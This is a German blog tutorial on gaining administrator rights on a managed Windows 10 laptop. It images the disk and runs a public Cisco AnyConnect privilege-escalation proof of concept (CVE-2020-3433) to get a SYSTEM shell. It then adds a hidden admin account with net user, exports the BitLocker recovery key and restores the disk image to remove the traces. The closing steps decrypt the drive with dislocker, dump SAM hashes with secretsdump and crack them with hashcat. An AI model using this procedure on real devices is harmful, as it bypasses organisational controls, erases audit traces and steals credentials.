Du bist hier:Start»Wissen»Administrator

Administrator unter Windows 10 und das TPM

29.12.2021

Administrator Konto unter Windows 10

Als Administrator unter Windows lassen sich Gerätetreiber installieren oder Einstellungen von Windows ändern. In diesem Artikel beschreibe ich, wie man zu einem Administrator-Konto in Windows 10 kommen kann, wenn bereits ein Benutzerkonto unter Windows vorhanden ist. Zunächst werde ich auf Hintergrundwissen eingehen - unter anderem zum Trusted Platform Module (TPM). Wer direkt zur Anleitung möchte, klickt hier. Die Anleitung wurde im Jahr 2021 geschrieben. Es könnte sein, dass sie in einigen Jahren so nicht mehr funktioniert.

Windows Administrator in der Vergangenheit

Im Jahr 2005 waren Computer etwas anders gestaltet als heute. Beim Start des Computers wurde ein BIOS ausgeführt (Basic Input Output System). Im BIOS konnte zum Beispiel ausgewählt werden, ob von USB-Stick oder Festplatte gestartet werden soll. Wenn dieses BIOS mit einem Passwort versehen war, dann war der Speicher für das BIOS-Passwort normalerweise batteriegepuffert. Die eingebaute Festplatte des Computers war für gewöhnlich unverschlüsselt. War die Festplatte doch verschlüsselt, so befanden sich die benutzten Schlüssel im Arbeitsspeicher (Random Access Memory - RAM) und nicht in der zentralen Steuereinheit (Central Processing Unit - CPU).

einige Komponenten eines Computers im Jahr 2005

einige Komponenten eines Computers im Jahr 2005

Damals konnte zum Beispiel das BIOS-Passwort entfernt werden, indem die Batterie vom Pufferspeicher kurz getrennt wurde. Danach ließ sich im BIOS zum Beispiel einstellen, ob von USB oder Festplatte gestartet werden soll. So ließ sich ein Linux-System von USB-Stick starten. Dieses Linux-System hatte dann Zugriff auf die eingebaute Festplatte und konnte den Inhalt der Festplatte verändern. Zum Beispiel um ein Administrator-Konto unter Windows einzurichten. Wenn sich das BIOS nicht ändern ließ, dann konnte auch die Festplatte aus dem Computer genommen werden und durch einen Adapter an einem anderen Computer bearbeitet werden. War die Festplatte verschlüsselt, so waren die benutzten Schlüssel im Arbeitsspeicher (RAM) verfügbar und konnten nach einem Neustart aus dem Arbeitsspeicher ausgelesen werden. Diese Methode nennt sich Cold Boot Attack oder auf Deutsch "Kaltstartattacke".

Computerdesign im Jahr 2020

Seit 2005 wurden einige Hardware- und Softwarefunktionen geändert. Mittlerweile wurde das BIOS in UEFI umbenannt (Unified Extensible Firmware Interface). Je nach Computer wird das Passwort für UEFI in demselben Chip gespeichert wie die UEFI-Software selbst und ist nicht mehr batteriegepuffert. Dadurch wird es schwieriger von einem USB-Stick zu starten, wenn diese Bootoption in UEFI ausgeschaltet und UEFI passwortgeschützt ist. Heutzutage werden Festplatten normalerweise verschlüsselt. Unter Windows ist die Standardverschlüsselung "BitLocker". Somit lässt sich die Festplatte an einem anderen Rechner nicht einfach verändern. Der Schlüssel für BitLocker wird heutzutage meist in einem Trusted Platform Module (TPM) gespeichert und zusätzlich durch die Eingabe einer PIN (Persönliche Identifikationsnummer) oder eines Passworts abgesichert. Außerdem wird versucht, die Schlüssel der Festplattenverschlüsselung möglichst nicht mehr (unverschlüsselt) im Arbeitsspeicher zu halten, damit die Schlüssel später nicht aus dem Arbeitsspeicher ausgelesen werden können. Es gibt Ansätze, die Schlüssel in der CPU zu speichern, zum Beispiel in CPU-Registern (siehe TRESOR). Ein Ansatz von Intel sind die "Software Guard Extensions" (Intel SGX), mit denen ein Teil des Arbeitsspeichers verschlüsselt und somit nicht mehr von außen lesbar gemacht wird. Zudem wird versucht, über ein Kette von Software-Prüfungen Veränderungen der unverschlüsselten Startdateien zu verhindern (secure boot chain, siehe auch "UEFI Secure Boot" oder "Intel Boot Guard").

einige Komponenten eines Computers im Jahr 2020

einige Komponenten eines Computers im Jahr 2020

Realitätsabgleich

Anhand eines aufgeschraubten Laptops von Hewlett Packard "HP Elitebook 840 G6" ist zu erkennen, wie die Computer-Komponenten auf der Hauptplatine in der Realität aussehen. Je nach Notebook können Komponenten von anderen Herstellern verwendet und unterschiedlich angeordnet sein.

Mainboard eines HP Elitebook 840 G6

Mainboard eines HP Elitebook 840 G6, zum Vergrößern klicken

  • Im Kreis Nummer 1 im oberen Bild ist der Flash Chip "Macronix MX25L25673G" mit dem UEFI BIOS.
  • Im Kreis Nummer 2 ist das Trusted Platform Module (TPM) "Infineon SLB9670 VQ2.0".
  • Im Kreis Nummer 3 ist eine Festplatte mit der Schnittstelle Nonvolatile Memory Express (NVMe) und der Form M.2 key M.
  • Im Kreis Nummer 4 befindet sich eine Intel CPU unter einem Kühlkörper. Ein Wärmerohr leitet die Wärme der CPU zu einem Lüfter an der Seite.
  • Im Kreis Nummer 5 ist ein Speicherriegel, der als Arbeitsspeicher (RAM) genutzt wird.
UEFI BIOS und TPM

UEFI BIOS und TPM, zum Vergrößern klicken

Der Chip fürs UEFI BIOS ist normalerweise ein SOIC8-Chip (Small Outline Integrated Circuit) oder neuerdings ein 8-WSON-Package (Very-very-thin small-outline no-lead package). Beide Formen lassen sich daran erkennen, dass sie links und rechts jeweils 4 Metallkontakte haben. Außerdem steht auf den Chips der Hersteller und der Chiptyp, so dass eine kurze Internetrecherche ergibt, dass es sich hier um den Flash Chip "Macronix MX25L25673G" handelt. Der Punkt in der Ecke beziehungsweise eine kleine Delle auf einem Chip markiert für gewöhnlich Pin 1 laut zugehörigem Datenblatt. Alle weiteren Pins werden gegen den Uhrzeigersinn gezählt. In der Nähe des Macronix Flash Chips befindet sich in diesem Beispiel das Trusted Platform Module "Infineon SLB9670 VQ2.0", das den TPM 2.0 Standard der Trusted Computing Group (TCG) erfüllt. Während die äußeren Metallkontakte des Flash Chips relativ groß sind, sind die des TPM Chips relativ klein.

Mögliche Ansätze

Es gibt verschiedene Möglichkeiten zu einem Administrator-Konto zu kommen. In diesem Abschnitt beschreibe ich einige theoretische Ansätze, die aber im Endeffekt zu aufwendig sind und zusätzliche teure Hardware benötigen würden.

UEFI BIOS Chip

Es wäre zum Beispiel möglich, das UEFI BIOS auszulesen, Einstellungen zu verändern und die Änderungen wieder auf den Flash Chip zu schreiben. Dazu wäre ein wenig Hardware nötig, wie in meinem Artikel übers UEFI BIOS dargestellt. Dadurch könnte zum Beispiel von einem USB-Stick gebootet werden oder das Überschreiben des Arbeitsspeichers beim Start ausgeschaltet werden.

TPM Chip

Wenn die Festplatte des Computers mit BitLocker verschlüsselt ist, dann kann es sein, dass ein Teil der Informationen zur Entschlüsselung der Festplatte im TPM Chip gespeichert ist. Der TPM Chip kann zum Beispiel über das "Serial Peripheral Interface" (SPI) an die CPU angebunden sein. Manchmal ist der TPM Chip an denselben SPI-Bus angeschlossen wie der Flash Chip von UEFI. Dann lässt sich die Kommunikation zwischen TPM und CPU durch einen Logik-Analysator relativ einfach belauschen und somit der "Schlüssel" des TPM-Chips mitlesen. Nähere Details zum Sniffen eines TPMs hat die Dolos Group veröffentlicht. Falls das TPM nicht über SPI an die CPU angeschlossen ist, dann könnte es über den "Low Pin Count" (LPC) Bus angeschlossen sein. Das ist eine frühere Variante der TPM-Anbindung. Details zum Sniffing des TPMs am LPC-Bus hat Pulse Security veröffentlicht. Wurde ein Passwort oder eine PIN (Persönliche Identifikationsnummer) für BitLocker benutzt, so sollte die PIN bekannt sein.

Ein Logikanalysator ist relativ teuer. Außerdem könnte es in Zukunft so sein, dass das TPM in die CPU integriert wird, so dass sich die Verbindung zwischen TPM und CPU nicht mehr belauschen lässt.

Arbeitsspeicher

Auch heute ist noch eine Cold Boot Attack oder auf Deutsch "Kaltstartattacke" möglich. Dazu müsste der Arbeitsspeicher eines laufenden Laptops stark heruntergekühlt werden, anschließend das Notebook neu gestartet und der Arbeitsspeicher ausgelesen werden. Diese Methode ist allerdings sehr aufwendig und nicht 100% zuverlässig.

Zusammengefasst: diese Hardwaremöglichkeiten sind relativ aufwendig. Es geht einfacher über Software. Da Software relativ teuer in der Entwicklung ist, wird häufig auf intensive Tests oder Reviews von Softwarearchitekturen verzichtet. Dadurch existieren mit hoher Wahrscheinlichkeit Softwarefehler im Betriebssystem und der installierten Software.

Anleitung

Die folgende Anleitung wurde mit einem Notebook und einer NVMe-Festplatte getestet. Die Anleitung funktioniert aber auch für andere Computermodelle und andere Festplatten-Typen. Für die Anleitung ist es nicht erforderlich IT-Expertin oder IT-Experte zu sein, aber Erfahrung im Umgang mit Computern und den Betriebssystemen Windows und Linux sind hilfreich.

0. Disclaimer

Haftungsausschluss: Alle hier vorgestellten Informationen dienen der Wissensvermittlung. Möchte jemand anhand dieser Anleitung die Schritte an einem Computer nachvollziehen, so ist dies in eigener Verantwortung und auf eigene Gefahr zu tun.

Warnung: Die Anleitung wurde 2021 geschrieben und könnte in Zukunft so nicht mehr funktionieren. Es könnte sein, dass manche Computeranbieter selbst die sinnvolle Maßnahme einer Datensicherung der Festplatte in Zukunft durch Hardware-Maßnahmen erschweren.

1. Datensicherung

Zuerst einmal ist eine Datensicherung sinnvoll. Dazu wird die gesamte Festplatte des Computers kopiert. Wenn die Festplatte mit BitLocker verschlüsselt ist, ist das kein Problem, da die verschlüsselten Daten komplett mitkopiert werden. Außerdem ist es möglich dieses Backup wieder zurückzukopieren, falls im Folgenden etwas schief laufen sollte. Der Computer sollte ausgeschaltet und das Netzteil gezogen werden.

Für eine Datensicherung der Festplatte muss das Laptop geöffnet werden. Beim HP Elitebook 840 G6 befinden sich an der Unterseite 8 Schrauben, die lose gedreht werden müssen. Im folgenden Bild sind sie rot eingekreist:

Notebook Unterseite

Notebook Unterseite, zum Vergrößern klicken

ACHTUNG! Die Schrauben dürfen nicht komplett herausgezogen werden, da sie einen Widerhaken auf der Gegenseite haben. Bei diesem HP-Laptop funktioniert ein Kreuzschlitz-Schraubendreher der Größe PH 1. Je nach Notebook-Modell können unterschiedliche Schraubendreheraufsätze erforderlich sein. Die Schrauben können an anderen Stellen sitzen und die Schrauben können eventuell auch ohne Widerhaken komplett herausgeschraubt werden.

Wenn die Schrauben locker sind, dann kann die untere Platte des Notebooks zum Beispiel am Scharnier des Bildschirms angehoben werden (roter Pfeil im Bild). Die Bodenplatte ist zusätzlich mit Kunststoffhaken mit dem Rest des Laptopgehäuses verbunden. Hier ist etwas Fingerspitzengefühl gefragt. Es ist allerdings auch nicht so schlimm, wenn ein Kunststoffhaken abbricht.

Notebook Bodenplatte

Notebook Bodenplatte, zum Vergrößern klicken

Nachdem die Bodenplatte entfernt wurde, kann jetzt die Festplatte entnommen werden. Im Jahr 2020 wurden unter anderem Festplatten mit Nonvolatile Memory Express (NVMe) Schnittstelle und der Form M.2 key M in Notebooks verbaut. In anderen Notebooks kann natürlich eine andere Form der Festplatte verbaut sein.

NVMe Festplatte entfernen

NVMe Festplatte entfernen, zum Vergrößern klicken

ACHTUNG! Vor der Arbeit am Laptop sollte kurz ein Heizkörper angefasst werden, um eventuelle elektrostatische Aufladung des eigenen Körpers abzuleiten. An einem Ende der Festplatte muss eine kleine Schraube gelöst werden, die der Befestigung dient. Anschließend kann die Festplatte nach hinten oben herausgezogen werden.

Mit einem NVMe zu USB Adapter, der das Format "M Key" unterstützt, kann jetzt eine 1:1-Kopie der Festplatte an einem anderen Computer erzeugt werden. Am besten das Backup auf eine externe Festplatte kopieren, die mindestens doppelt so groß ist wie die zu kopierende Festplatte. In einem späteren Schritt kann nämlich eine zweite Datensicherung nötig werden. Ein NVMe zu USB Adapter kostete 2021 etwa 30 Euro.

Backup auf USB-Festplatte

Backup auf USB-Festplatte, zum Vergrößern klicken

Die 1:1-Kopie der Festplatte kann zum Beispiel an einem Computer mit dem Betriebssystem Linux Mint erstellt werden. Zunächst einmal sollte in Linux Mint das automatische Einbinden von USB-Geräten ausgeschaltet werden, da beim automatischen Einbinden eventuell Daten auf der Festplatte verändert werden (disable automount).

# check automount of Linux Mint 20
gsettings get org.mate.media-handling automount

# disable automount
gsettings set org.mate.media-handling automount false

# plug in the external USB disk for the backup

# check which device name is used by Linux for the USB disk
dmesg

# example output of dmesg
[ 2356.984701] sdb: sdb1
[ 2356.986797] sd 0:0:0:0: [sdb] Attached SCSI disk

# become root
sudo bash

# mount your backup disk to the directory /mnt
mount /dev/sdb1 /mnt/

# plug in the USB adapter with the disk

# check which device name is used by Linux
dmesg

# example output of dmesg
[15804.015631] sd 0:0:0:0: [sdc] Attached SCSI removable disk

# create a copy of the disk with dd
dd if=/dev/sdc of=/mnt/backup_2021-11-28.bin bs=10M

# unmount the external disk afterwards
umount /mnt

# unplug your USB devices

# enable automount afterwards
gsettings set org.mate.media-handling automount true

Beim Kopieren der Festplatte mit dem Programm "dd" ist der Parameter "if" das "input file" - also die Quelle - und "of" das "output file" - also das Ziel. Der Parameter "bs" bedeutet Blocksize und ist in dem Beispiel auf 10 MB eingestellt. Der Buchstabe für das jeweilige USB-Gerät lässt sich über die letzten Zeilen des Programms dmesg herausfinden - zum Beispiel /dev/sdc. Da dieser Buchstabe dynamisch von Linux vergeben wird, muss immer bei dmesg genau hingeschaut werden. Da die gesamte Festplatte kopiert werden soll, muss beim Parameter "input file" zum Beispiel /dev/sdc angegeben werden und nicht /dev/sdc1, da /dev/sdc1 nur eine Partition (ein Teil) der gesamten Festplatte /dev/sdc wäre.

Nach dem Kopieren der Festplatte wird die Festplatte wieder in den Computer eingebaut, das Gehäuse verschraubt und getestet, ob der Computer noch startet.

2. Softwareinventur

Durch die Datensicherung der gesamten Festplatte wurde der aktuelle Stand der Software "eingefroren". Nach der Datensicherung sollten jetzt die Versionen von Windows 10 und der installierten Software dokumentiert werden.

Mit einem normalen Benutzer-Konto unter Windows muss dafür die Windows-Taste gedrückt, "winver" eingeben und Enter gedrückt werden.

Windowsversion anzeigen lassen

Windowsversion anzeigen lassen, zum Vergrößern klicken

Danach erscheint ein kleines Fenster, in dem die Version von Windows 10 und das Build angezeigt wird.

Windowsversion ablesen

Windowsversion ablesen

In diesem Beispiel handelt es sich um Windows 10 Pro, Version 1809, Build 17763.1. Außer der Windows-Version sind auch die Versionen der installierten Programme interessant. Über die Systemsteuerung - "Programm deinstallieren" kann eine Liste mit installierter Software angezeigt werden.

Programm deinstallieren

Programm deinstallieren, zum Vergrößern klicken

In der Liste der installierten Software gibt es eine Spalte mit der jeweiligen Version der Software.

Liste mit Versionen installierter Software

Liste mit Versionen installierter Software, zum Vergrößern klicken

In diesem Beispiel ist die Software "Cisco AnyConnect Secure Mobility Client" in der Version 4.6.03049 installiert. Alternativ kann oft in der jeweiligen Software über das Hilfe-Menü die Version der Software abgefragt werden. Das würde für jedes einzelne Programm natürlich länger als mit der Übersicht aller Programme dauern.

Version von Cisco AnyConnect übers Menü herausfinden

Version von Cisco AnyConnect übers Menü herausfinden, zum Vergrößern klicken

3. Recherche

Als nächstes folgt eine Recherche, ob die Windows-Version und die installierten Programme in der aktuellsten Version vorliegen. Ziel der Recherche ist es, einen existierenden Softwarefehler zu finden, der eine Erhöhung der Benutzerrechte ermöglicht. In der englischen Sprache heißt das: "Elevation of Privilege" (EoP) oder auch "Local Privilege Escalation" (LPE). Sollten alle installierten Software-Versionen aktuell sein, so kann es unter Umständen 3 Monate dauern bis Details zu Softwarefehlern veröffentlicht werden. Dieses Verfahren nennt sich "Responsible Disclosure". Dabei weist ein IT-Sicherheitsforscher einen Softwareanbieter auf einen gefundenen Softwarefehler hin und gibt dem Softwareanbieter für gewöhnlich 3 Monate Zeit, eine Aktualisierung der Software zur Verfügung zu stellen und dieses Update an Kunden zu verteilen. Anschließend werden Details zum Softwarefehler veröffentlicht. Gelegentlich veröffentlichen Sicherheitsforscher auch sogenannte "Proof of Concepts" - also Beispielprogramme, die den Softwarefehler nachweisen. Es ist also nicht erforderlich, selbst IT-Sicherheitsforscher zu werden, sondern lediglich die Arbeit von Sicherheitsforschern zu nutzen. Ein Referenziersystem für Softwarefehler namens Common Vulnerabilities and Exposures (CVE) gibt eine eindeutige Nummer mit dem Jahr der Entdeckung des Softwarefehlers an, z.B. CVE-2021-43240 aus dem Jahr 2021.

Nach der Theorie kommt jetzt ein Beispiel aus der Praxis. Die aktuellste Version von Cisco AnyConnect lässt sich zum Beispiel über eine Internetsuchmaschine herausfinden, die zu den Release Notes von Cisco AnyConnect Secure Mobility Client verlinkt.

Release Notes von Cisco AnyConnect

Release Notes von Cisco AnyConnect, zum Vergrößern klicken

Die aktuellste Version von Cisco AnyConnect ist 4.10.04071 (Stand Dezember 2021). Diese Versionsnummer ist größer als die der installierten Softwareversion 4.6.03049. Das muss noch nichts bedeuten. Aber jetzt kann recherchiert werden, ob es vor der Version 4.10 einen bekannten Softwarefehler gibt, der auch die Version 4.6 betrifft.

Einige Webseiten haben eine Datenbank mit Softwarefehlern und CVE-Nummern aufgebaut - zum Beispiel cve.mitre.org, free.vulniq.com, opencve.io oder die Website CVEdetails.com - hier am Beispiel der Software Cisco AnyConnect.

Webseite CVEDetails

Webseite CVEDetails, zum Vergrößern klicken

Bei CVEDetails kann nach einer bestimmten Software gesucht werden. Für "Elevation of Privilege" muss in dem Feld "Integ." beziehungsweise "Integrity Impact" der Wert "Complete" oder "High" stehen. Leider kann auf der Webseite von CVEDetails die Spalte "Integrity Impact" nicht gefiltert werden. Aber die Ergebnisse lassen sich über den Link "Download Results" herunterladen und dann in "LibreOffice Calc" filtern.

CVE filtern mit LibreOffice Calc

CVE filtern mit LibreOffice Calc, zum Vergrößern klicken

Nach dem Filtern bleiben 6 Fehler übrig, die für eine "Elevation of Privilege" geeignet sein könnten: CVE-2021-40124, CVE-2021-1567, CVE-2021-1366, CVE-2021-1237, CVE-2020-3433 und CVE-2020-3153. Für diese CVEs kann jetzt nach einem "Proof of Concept" gesucht werden. Zum Beispiel auf GitHub https://github.com/search?q=CVE-2020-3433.

Proof of Concept bei GitHub

Proof of Concept bei GitHub, zum Vergrößern klicken

Nach dem Durchprobieren der 6 CVE-Nummern ergibt zum Beispiel die GitHub-Suche nach "CVE-2020-3433" einen Treffer. Für diesen Softwarefehler hat der Sicherheitsforscher Antoine Goichot ein Proof of Concept veröffentlicht. GitHub.com ist für mich die erste Adresse zur Suche nach "Proof of Concepts" (PoC). Über Internetsuchmaschinen lassen sich aber auch andere Adressen für PoCs finden.

Außerdem lohnt es sich bei CVEs, in der Dokumentation von "Vulnerable Products" beziehungsweise "Affected Products" genauer hinzuschauen. Also welche Software-Versionen sind wirklich von dem Problem betroffen und welche Software-Module müssen installiert oder welche Randbedingungen müssen für das Problem erfüllt sein. Nicht alle "Proof of Concepts" funktionieren.

Ein weiterer interessanter Punkt bei der Betrachtung von Proof of Concepts und CVEs ist das Feld "Complexity" - also wie wahrscheinlich ist ein funktionierender PoC. Der Wert "low" wäre hier besser.

Wenn ein Proof of Concept nur im Quellcode vorliegt, dann ist eine Übersetzung in Maschinencode durch einen Compiler wie zum Beispiel mit Visual Studio oder dem .NET Framework notwendig. Das ist aufwendiger als fertig ausführbare PoCs. Ausführbare Proof of Concepts sind am einfachsten zu benutzen. Unter Windows sind ausführbare Programme meistens die binären .exe-Dateien (z.B. bin/PoC.exe). PoCs können aber auch ausführbare Skripte oder Befehle für die Kommandozeile sein.

Zur Suche nach existierenden Softwarefehlern in Microsoft Windows eignet sich die monatliche Fehlerliste der "Zero Day Initiative" (ZDI). Microsoft veröffentlicht jeden zweiten Dienstag im Monat eine Liste mit korrigierten Softwarefehlern - der sogenannte "Microsoft Patch Tuesday". Die "Zero Day Initiative" bereitet diese Microsoft-Liste zum Beispiel nach Fehlertypen auf. Im Blog der "Zero Day Initiative" wird die Liste als "Security Update Review" veröffentlicht.

Fehlerliste des Microsoft Patch Tuesday

Fehlerliste des Microsoft Patch Tuesday, zum Vergrößern klicken

In der Fehlerliste sind die Fehler vom Typ EoP interessant - also "Elevation of Privilege". Außerdem deutet in der Spalte "Public" der Eintrag "Yes" darauf hin, dass ein "Proof of Concept" existieren könnte. Nach diesen CVE-Nummern kann wieder im Internet oder auf GitHub gesucht werden, um ein "Proof of Concept" zu finden.

Der Klick auf die CVE-Nummer CVE-2021-43240 zeigt, dass nur bestimmte Versionen von Windows von einem Problem betroffen sein können.

Betroffene Versionen von Windows

Betroffene Versionen von Windows, zum Vergrößern klicken

In diesem Beispiel ist die Windows-Version 1909 betroffen, aber nicht die Version 1809. Die CVE-Nummer CVE-2021-43240 wäre somit uninteressant für Windows Version 1809. Eventuell könnte es in Zukunft sein, dass Microsoft auf seinen CVE-Seiten nicht mehr alle Versionen auflistet, da einige ältere Windows 10 Versionen dann nicht mehr unterstützt werden.

Vor dem Test eines Proof of Concepts auf dem Computer kann es sich lohnen, mehrere PoCs zu suchen, falls ein PoC nicht funktioniert.

Eine weitere Quelle, um sich über Softwarefehler zu informieren, ist zum Beispiel heise.de/security. Allerdings ist diese Variante nicht sehr zielgerichtet und könnte lediglich für einen Zufallsfund taugen.

4. Zweites Backup

Wurde ein "Proof of Concept" gefunden und wurde in Zwischenzeit mit dem Computersystem weitergearbeitet, so muss eine zweite Datensicherung des aktuellen Systems erstellt werden. Nach Abschluss des zweiten Backups kann die erste Datensicherung auf die interne Festplatte zurückkopiert werden, um den alten Softwarestand wiederherzustellen.

# create a second copy of the disk with the current state
dd if=/dev/sdc of=/mnt/backup_2021-12-20.bin bs=10M

# restore the first backup with the "old" software versions
dd if=/mnt/backup_2021-11-28.bin of=/dev/sdc bs=10M

Wie bereits in Punkt 1 zur Datensicherung beschrieben, muss /dev/sdc aus diesem Beispiel mit dem aktuellen Device-Buchstabe der Ausgabe von dmesg ersetzt werden.

5. Proof of Concept

Nach den Datensicherungen kann jetzt endlich ein gefundener "Proof of Concept" getestet werden. Zur Demonstration nehme ich den PoC des Softwarefehlers CVE-2020-3433. Wichtig ist, vorher alle Netzwerkkabel abzuziehen oder WLAN-Verbindungen auszuschalten. Zum einen ist unklar, was in der Software eines "Proof of Concept" drinsteckt. Zum anderen soll auch sonst keine Software nach Hause telefonieren. Nach dem Starten des PoC "CVE-2020-3433-privesc.exe" erscheint ein Kommandozeilenfenster (cmd.exe), das mit Systemrechten läuft.

Proof of Concept für Cisco AnyConnect

Proof of Concept für Cisco AnyConnect, zum Vergrößern klicken

In diesem Kommandozeilenfenster können jetzt Befehle eingegeben werden, mit denen zum Beispiel ein Administrator-Konto mit dem Namen "admin" und dem Passwort "Adm1nXYZ" angelegt wird.

# go from this temporary directory to C:\
cd C:\

# check whether PoC did work (nt-authority\system)
whoami

# list available users / accounts
net user

# create a new user "admin" with password "Adm1nXYZ"
net user admin Adm1nXYZ /add

# add the new user "admin" to the group "Administrators"
net localgroup Administrators admin /add

# it may be necessary to add other groups e.g. "Administratoren"
# net localgroup Administratoren admin /add

# show the groups of the user:
net user admin

Im deutschen Kommandozeilenfenster erscheint bei Erfolg die Meldung "Der Befehl wurde erfolgreich ausgeführt":

Administrator Account in der Befehlszeile erstellen

Administrator Account in der Befehlszeile erstellen, zum Vergrößern klicken

6. Recovery Key exportieren

Der Recovery Key ist der Wiederherstellungsschlüssel der BitLocker-Verschlüsselung. Dieser Schlüssel wird benötigt, falls zum Beispiel der TPM-Chip kaputt geht. Um den Recovery Key zu exportieren, muss jetzt zum neu angelegten Admin-Account gewechselt werden. Zunächst "Abmelden" und anschließend über "Anderer Benutzer" mit Benutzername ".\admin" und Kennwort "Adm1nXYZ" einloggen.

von Windows abmelden

von Windows abmelden, zum Vergrößern klicken

Dann die Systemsteuerung von Windows aufrufen und nach "bitlocker" suchen.

BitLocker verwalten

BitLocker verwalten, zum Vergrößern klicken

Nach einem Klick auf "BitLocker verwalten" erscheint bei "BitLocker-Laufwerkverschlüsselung" ein Menü mit dem Punkt "Wiederherstellungsschlüssel sichern".

BitLocker Menü

BitLocker Menü, zum Vergrößern klicken

Nach einem Klick auf "Wiederherstellungsschlüssel sichern" kann der Wiederherstellungsschlüssel zum Beispiel in eine PDF-Datei gedruckt oder als Datei gespeichert werden.

Wiederherstellungsschlüssel drucken

Wiederherstellungsschlüssel drucken, zum Vergrößern klicken

Die resultierende PDF-Datei sieht zum Beispiel so aus:

Beispiel für Wiederherstellungsschlüssel

Beispiel für Wiederherstellungsschlüssel, zum Vergrößern klicken

Der Wiederherstellungsschlüssel ist 8 Blöcke mit je 6 Ziffern also zusammen 48 Ziffern lang.

7. Zweites Backup wiederherstellen

Durch das Erstellen des Admin-Kontos wurden einige Dateien auf der Festplatte angelegt und Log-Einträge erzeugt. Diese Einträge sollten entfernt werden. Außerdem ist auf dem zweiten Backup der aktuelle Softwarestand und die aktuellen Daten. Dieses zweite Backup muss jetzt ähnlich wie in Schritt 4 wieder auf die interne Festplatte kopiert werden.

# restore the second backup with dd
dd if=/mnt/backup_2021-12-20.bin of=/dev/sdc bs=10M

8. Festplatte unter Linux bearbeiten

Nach der Wiederherstellung des zweiten Backups ist das Administrator-Konto nicht mehr vorhanden. Aber: der Recovery Key ist bekannt! Mit dem Recovery Key beziehungsweise Wiederherstellungsschlüssel ist es jetzt möglich die verschlüsselte Festplatte unter Linux einzubinden und zu bearbeiten. Das ist mindestens so viel wert wie ein Administrator-Konto. Mit dem Befehl "hexdump" lässt sich zunächst die mit BitLocker verschlüsselte Partition der Festplatte finden. Die magischen Bytes bzw. die Signatur am Anfang einer verschlüsselten Partition sind "FVE-FS" (Full Volume Encryption).

# unencrypted partition with NTFS
hexdump -C /dev/sda2 | head
00000000  eb 52 90 4e 54 46 53 20  20 20 20 00 02 08 00 00  |.R.NTFS    .....|

# BitLocker encrypted partition
hexdump -C /dev/sda3 | head
00000000  eb 58 90 2d 46 56 45 2d  46 53 2d 00 02 08 00 00  |.X.-FVE-FS-.....|

# install dislocker in Linux Mint, version 0.7.1 works
apt-get install dislocker

# decrypt BitLocker - in this case it's partition 3 of the disk, /dev/sda3
dislocker -V /dev/sda3 --recovery-password=345678-123456-789012-123456-288732-382901-546367-765839 /mnt

# create a second mount directory
mkdir /mount

# mount the decrypted NTFS file system to /mount
mount /mnt/dislocker-file /mount/

# if you need the disk read-only use:
# dislocker -r -V ...
# mount -o ro /mnt/dislocker-file /mount/

# to close afterwards use:
umount /mount
umount /mnt

Bei dem Parameter "--recovery-password" des Programms "dislocker" muss der aus Punkt 6 exportierte Recovery Key angegeben werden. Da sich der BitLocker-Schlüssel nicht ändert, sollte der Recovery-Key auch in Zukunft funktionieren. Jetzt können alle Dateien gelesen oder, wenn die Dateien nicht zum Boot-Vorgang gehören, auch bearbeitet werden.

# install "change NT password" in Linux Mint, version 1.00 140201 works
apt-get install chntpw

chntpw -l /mount/Windows/System32/config/SAM

# example output of chntpw
| RID -|---------- Username ------------| Admin? |- Lock? --|
| 03e8 | admin                          | ADMIN  |          |
| 02b3 | Administrator                  | ADMIN  | dis/lock |
| 02b4 | Test                           |        | dis/lock |

# copy the config directory with the SAM file (Security Accounts Manager)
cp -a /mount/Windows/System32/config /home/user/tools/
cd /home/user/tools/
git clone https://github.com/SecureAuthCorp/impacket
cd impacket/
sudo python3 -m pip install .

cd /home/user/tools/config/

# convert to NTLM hashes (uid:rid:lmhash:nthash)
secretsdump.py -sam SAM -system SYSTEM LOCAL

# output of secretsdump, field number 4 is the NT hash
admin:1000:aad2...3de9:5ac24bacb987d0320f488060d2c403e3:::

# use only the NT hash part of the NTLM hash
echo 5ac24bacb987d0320f488060d2c403e3 > single_nt_hash.txt

# use john the ripper or hashcat for password recovery, 1000 = NTLM
hashcat -m 1000 --force single_nt_hash.txt wordlist.txt

hashcat --show single_nt_hash.txt
5ac24bacb987d0320f488060d2c403e3:Adm1nXYZ

Die Verschlüsselungskette von BitLocker geht über die Key Protectors (z.B. Recovery Key) ➜ Volume Master Key (VMK) ➜ Full Volume Encryption Key (FVEK) ➜ disk. Weiterführende Informationen gibt es in der Dokumentation der libbde. Zum Anzeigen des Full Volume Encryption Key (FVEK) kann zum Beispiel unter Linux das Programm "bdeinfo" im Debug-Modus gebaut werden.

# get software to build bdeinfo
sudo apt install git autoconf automake autopoint libtool pkg-config

# download the source code of libbde
git clone https://github.com/libyal/libbde
cd libbde

# download libraries
./synclibs.sh
./autogen.sh

# configure libbde with verbose and debug output
./configure --enable-verbose-output --enable-debug-output
make

cd bdetools/

# become root
sudo bash

# run bdeinfo with the recovery key
./bdeinfo -v -r 345678-123456-789012-123456-288732-382901-546367-765839 /dev/sda3

# output of VMK and FVEK
libbde_volume_open_read_keys_from_metadata: volume master key:
libbde_volume_open_read_keys_from_metadata: full volume encryption key:

Fazit und Ausblick

Diese Anleitung funktioniert, da durch die Datensicherung ein Software-Stand "eingefroren" werden kann. Früher oder später werden Software-Fehler in dem eingefrorenen Software-Stand gefunden und veröffentlicht. Dadurch lässt sich mit der Datensicherung der Recovery Key von Windows exportieren und die Festplatte zukünftig entschlüsseln.

Wie üblich gilt aber auch hier: nichts hält für die Ewigkeit. Diese Informationen geben den Stand im Jahr 2021 wieder. Es könnte sein, dass in Zukunft Microsoft zusammen mit Hardware-Herstellern eine noch stärkere Gängelung von Computernutzer:innen vorantreibt. Projekte für offene Hardware und offene Software wie zum Beispiel das Betriebssystem GNU/Linux werden somit zunehmend wichtiger.

Letzte Änderung: 2021-12-29

Falls noch etwas unklar sein sollte, dann kannst du die Kommentar-Funktion benutzen.

Kommentar schreiben

Ihre Daten werden verschlüsselt übertragen. Der Kommentar wird gelesen und eventuell veröffentlicht.
Wenn der Inhalt des Kommentars oder Teile des Kommentars nicht veröffentlicht werden, dann werden die gespeicherten Daten nach maximal 4 Wochen gelöscht. Um zukünftigen Missbrauch der Kommentarfunktion zu verhindern, werden die zum Kommentar gehörenden IP Adressen maximal 4 Wochen gespeichert.

Abkürzungen

BDE BitLocker Drive Encryption
BIOS Basic Input Output System
CPU Central Processing Unit
CVSS Common Vulnerability Scoring System
CVE Common Vulnerabilities and Exposures
dev device / Gerät
EoP Elevation of Privilege
exe executable
FVE Full Volume Encryption
FVEK Full Volume Encryption Key
IT Information Technology
LM hash LAN Manager hash
